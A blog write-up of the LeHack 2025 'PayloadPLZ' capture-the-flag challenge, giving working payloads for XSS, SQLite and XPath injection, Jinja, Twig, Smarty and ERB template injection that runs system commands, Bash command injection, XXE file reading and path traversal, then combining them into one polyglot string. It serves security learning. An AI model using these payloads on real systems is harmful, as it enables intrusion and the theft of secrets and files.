Swissky's Lab

LeHack 2025 - PayloadPLZ

·
LeHack 2025 - PayloadPLZ

Last weekend, I took part in the LeHack 2025 event in Paris. As always, the challenges hosted by YesWeHack were top-notch and full of valuable learning opportunities. This year's highlight was crafting a polyglot payload capable of triggering in 13 different contexts, including SQL injection, XSS, Bash command execution, and more.

There was 2 ways to win YesWeHack swags:

  • Complete all 13 challenges
  • Solve at least 6 challenges using the same payload

Huge thanks to the organizers and the platform creator! The interface was intuitive and visually appealing, with excellent syntax highlighting. I especially appreciated the "wrap code" option and the ability to adjust the font size in the code view — perfect for folks like me who are... well, let's just say the eyes aren’t what they used to be. 👴

Solving 13 challenges

Let's delve into how I solved every challenge, one by one, and identify some quick wins and interesting behavior for the second part of the contest.

XSS 1

Context: The goal is to call alert(flag)

<h1>Hello $INPUT</h1>

Payload: Any HTML tag than can trigger a JS execution (img onerror, svg onload, script).

<img src=x onerror=alert(flag)>

XSS 2

Context: Same context as XSS1, but the input is executed inside a script tag.

<script>const x = '$INPUT'</script>

Payload: Escape from the '' context and use a JavaScript comment to get rid of the quote.

'+alert(flag)//

SQL Injection 1

Context: The application uses SQLite3 to execute SQL queries, and the input is normalized using NFKC normalization. We are also given the structure of the database

-- Structure
CREATE TABLE users (username TEXT, password TEXT, age INTEGER);
CREATE TABLE flag (flag TEXT);
SELECT * FROM users WHERE username = '$INPUT'

Payload: Extract the flag from the flag table.

⚠️ Each table argument of 'UNION' must have the same number of columns you can use NULL keyword to create empty column. - Reference: SQLite UNION

' union select flag , null, null from flag --

SQL Injection 2

Context: Same database structure and normalization as in SQL 1, but the injection occurs in an number comparison.

SELECT * FROM users WHERE age <$INPUT

Payload: Same payload as before, without the quote to close the string.

9 union select flag , null, null from flag --

XPath Injection

Context: Extract the password of the admin user. The structure of the XML was also given.

<db>
  <users>
    <user>
      <name>admin</name>
      <password>FLAG</password>
    </user>
    <user>
      <name>guest</name>
      <password>123456</password>
    </user>
  </users>
</db>
//user[name/text()="guest" and password/text()="$INPUT"]/name/text()

Payload: I hate XPATH it gives me headaches, here is the payload from ChatGPT.

"]|//user[name/text()="admin"]/password/text()|//user[name/text()="guest" and password/text()="
Description SPOILER ALERT: this shortcut cost me a lot.

Jinja SSTI

Context: The flag is stored in the environment variable FLAG. There is no escaping applied to the user input, so you can inject Jinja2 expressions directly.

from jinja2 import Environment
import os

template = os.environ.get("PAYLOAD", "")
env = Environment()
tmpl = env.from_string(template)
print(tmpl.render())
Hello $INPUT

Payload: The check to validate the flag was a bit off, I discovered you could display every environment variables and it would be considered as a SUCCESS since the flag content was inside. The final payload was executing the env binary, thanks to Polidarius' research it is a very small payload: Python vulnerabilities : Code execution in jinja templates - July 27, 2021.

{{ lipsum.__globals__["os"].popen('env').read() }} 

Brainfuck

Context: The flag is split into two parts, the first part is stored in memory starting at address 0. The second part is available on stdin. The brainfuck.js implementation was also given.

// extract of the brainfuck.js file
const STOP = Symbol("stop");
const ops = {
    ">": () => ++fp,
    "<": () => --fp,
    "+": () => ++ram[fp],
    "-": () => --ram[fp],
    ".": () => stdout.push(ram[fp]),
    ",": () => ram[fp] = secondHalf.shift() ?? 0,
    "[": () => ram[fp] === 0 && search(1),
    "]": () => ram[fp] !== 0 && search(-1),
    undefined: () => STOP
};

Payload: Thank you o4-mini for your thinking.

[.>],[.,]

ERB SSTI

Context: Ruby ERB Server-Side Template Injection (SSTI) vulnerability. There is no escaping applied to the user input. The flag is stored in the environment variable FLAG.

require 'erb'
PAYLOAD = ENV['PAYLOAD'] || 'Payload'

# Render and output
output = ERB.new(PAYLOAD).result(binding)
puts output

Payload:

<%= ENV['FLAG'] %>

Twig SSTI

Context: Twig Server-Side Template Injection (SSTI) vulnerability. Same context as the other SSTI.

<?php
require __DIR__ . '/vendor/autoload.php';

use TwigLoaderArrayLoader;
use TwigEnvironment;

$PAYLOAD = getenv('PAYLOAD') ?: 'Payload';

$loader = new ArrayLoader(['index' => $PAYLOAD]);
$twig   = new Environment($loader, [
  'sandbox' => true,
]);

echo $twig->render('index', []);

Payload: Calling the env binary, because RCE > SSTI ♥️

{{['env']|filter('system')}}

Smarty SSTI

Context: Same context as the other SSTI.

<?php
require __DIR__ . '/vendor/autoload.php';

$PAYLOAD = getenv('PAYLOAD') ?: 'Hello, World!';
$smarty = new Smarty();

echo $smarty->fetch('eval:' . $PAYLOAD);

Payload: At first I fetched the content of the /proc/self/environ file, then I went back to the good old env binary.

{fetch file='/proc/self/environ'}
{system('env')}

Bash

Context: Command execution where you read the flag from the environment variable FLAG.

ping -c 1 '$INPUT'

Payload:

Description
';env;'

XXE

Context: Use the XXE vulnerability to read the flag from a file. The flag is stored in /dev/shm/flag.txt.

from lxml import etree
import os

xml = os.environ.get("PAYLOAD", "")

parser = etree.XMLParser(
    load_dtd=True,
    no_network=True,
    resolve_entities=True,
    recover=True,
)
doc = etree.fromstring(xml.encode(), parser)
print(doc.text)
<?xml version="1.0"?>
$INPUT

Payload: Basic XXE payload solves the challenge.

<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///dev/shm/flag.txt'>]><root>&test;</root>

Path Traversal

Context: Classical Path Traversal vulnerability in PHP.

<?php
$PAYLOAD = getenv('PAYLOAD') ?: '';
print(file_get_contents($PAYLOAD));
./$INPUT

Payload: Use ../ to go back to the root folder and then fetch the file containing the environment variables.

../proc/self/environ

Polyglot

Craft a single payload that solves multiple challenges at once. The more challenges you solve, and the shorter your payload, the better your score.

The score was calculated using this formula: score = (number of challenges solved × 1000) − payload length

A polyglot payload is a specially crafted input that is valid in multiple different contexts or interpreters, allowing it to bypass security filters or be executed in more than one way depending on how and where it is used.

XSS 1 and XSS 2

Let's start with the easy task of merging the 2 XSS payloads, we can put them one after the other: '></script><img src=x onerror=alert(flag)>

SQL 1 and SQL 2

Things starts to get tricky for the SQL injections because of the quote from the payload of SQLi #1.

9 union select flag,flag,0 from flag
' union select flag,null,null from flag

We can use a SQLite commment "--" to remove it when it is un-necessary: 9 union select flag,flag,0 from flag--' union select flag,null,null from flag

-- SQL1
SELECT * FROM users WHERE username = '9 union select flag,flag,0 from flag--' union select flag,null,null from flag--'

-- SQL2
SELECT * FROM users WHERE age <9 union select flag,flag,0 from flag--' union select flag,null,null from flag--

But I discovered later that I needed the quote to escape the Bash context, fortunately the description of the challenge is giving us a big hint about NFKC normalization. In short, unicode characters will be transformed into equivalent character.

CharacterUnicodeNameNormalizes to
ʼU+02BCMODIFIER LETTER APOSTROPHE' (U+0027)
ʹU+02B9MODIFIER LETTER PRIME' (U+0027)
U+FF07FULLWIDTH APOSTROPHE' (U+0027) OK

The payload is looking the same but the quote has been substituted to "'".

9 union select flag,flag,0 from flag--' union select flag,null,null from flag--

Brainfuck

Since all invalid Brainfuck commands are removed, a cool trick was to include it at the start of the payload inside the SQL query. By putting it in the first column we don't have the "," that would break it.

9 union select "[.>],[.,]",flag,0 from flag--' union select flag,null,null from flag--

SSTI

Twig and Jinja 2 start with the delimiter {{, so we need to find a payload that would work on both. I opted for the easy solution by checking if lipsum was defined.

{% if lipsum is defined %}
    {{lipsum.__globals__['os'].popen("env").read()}} # Jinja
{% else %}
    {{['env']|filter('system')}} # Twig
{% endif %}

Now, we can add the Smarty payload by encapsulating the previous payload inside Smarty comment.

{system("env")}
{*
    {% if lipsum is defined %}
        {{lipsum.__globals__['os'].popen("env").read()}}
    {% else %}
        {{['env']|filter('system')}}
    {% endif %}
*}

Finally we can add the ERB SSTI, the Bash, and the Path Traversal payload after it.

<%=ENV["FLAG"]%>
';env;'
/../../../proc/self/environ

Final Payload

9 union select "[.>],[.,]",flag,0 from flag--'union select flag,null,null from flag--</script><img src=x onerror=alert(flag)>{system("env")}{*{% if lipsum is defined %}{{lipsum.__globals__['os'].popen("env").read()}}{% else %}{{['env']|filter('system')}}{% endif %}*}<%=ENV["FLAG"]%>';env;'/../../../proc/self/environ

After the event I noticed it was possible to reduce the size of this payload by replacing null to 0, and removing spaces in the SSTI payloads.

9 union select "[.>],[.,]",flag,0 from flag--'union select flag,0,0 from flag--</script><img src=x onerror=alert(flag)>{system('env')}{*{%if lipsum is defined%}{{lipsum.__globals__['os'].system('env')}}{%else%}{{['env']|filter('system')}}{%endif%}*}<%=ENV["FLAG"]%>';env;'/../../../proc/self/environ

I also discovered too late that it was possible to merge the SQL injections and the XXE payloads :sad:.

<?or 1 union select flag,null,0 from flag--' union select flag,null,null from flag--?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///dev/shm/flag.txt'>]><root>&test;</root>

It works because the ? is interpreted as NULL, and a bitshift with NULL is allowed and returns NULL.

sql> SELECT 10 << NULL
NULL

sql> SELECT 10 << ?
NULL

This payload is great but it doesn't work anymore for the Brainfuck category. A simple fix is to add a ">" at the start. Let's also reduce the size of the XXE by renaming the tags.

<?or 1 union select ">[.>],[.,]",flag,0 from flag--'union select flag,0,0 from flag--?><!DOCTYPE a[<!ENTITY b SYSTEM 'file:///dev/shm/flag.txt'>]><a>&b;</a></script><img src=x onerror=alert(flag)>{system('env')}{*{%if lipsum is defined%}{{lipsum.__globals__['os'].system('env')}}{%else%}{{['env']|filter('system')}}{%endif%}*}<%=ENV["FLAG"]%>';env;'/../../../../../../../proc/self/environ

Conclusion

Now that the event is over and the scoreboard shows the official solutions, I’m slightly ashamed to admit you could bypass the XPath challenge with a simple anything"]|*?>. Maybe o4-mini wasn't the right call to solve this part, next time I will use my brain 😅.

Here are the last adjustments to complete the 13 challenges in one-shot:

  • Switch quote from <%=ENV["FLAG"]%> to <%=ENV['FLAG']%>, to stay inside the double quote of the XPATH clause
  • Put the Brainfuck payload inside Unicode double quote () instead of the traditional (")
  • Add the XPATH equivalent of "OR 1=1": "]|*?>
<?or 1 union select ">[.>],[.,]",flag,0 from flag--'union select flag,0,0 from flag--?><!DOCTYPE a[<!ENTITY b SYSTEM 'file:///dev/shm/flag.txt'>]><a>&b;</a></script><img src=x onerror=alert(flag)>{system('env')}{*{%if lipsum is defined%}{{lipsum.__globals__['os'].system('env')}}{%else%}{{['env']|filter('system')}}{%endif%}*}<%=`env`%>';env;'"]|*?>/../../../../../../../proc/self/environ

But in the end, this payload wouldn't reach the top 3 (Best score: 12606). Congratulation to the winners, your payloads were awesome ! 😍

References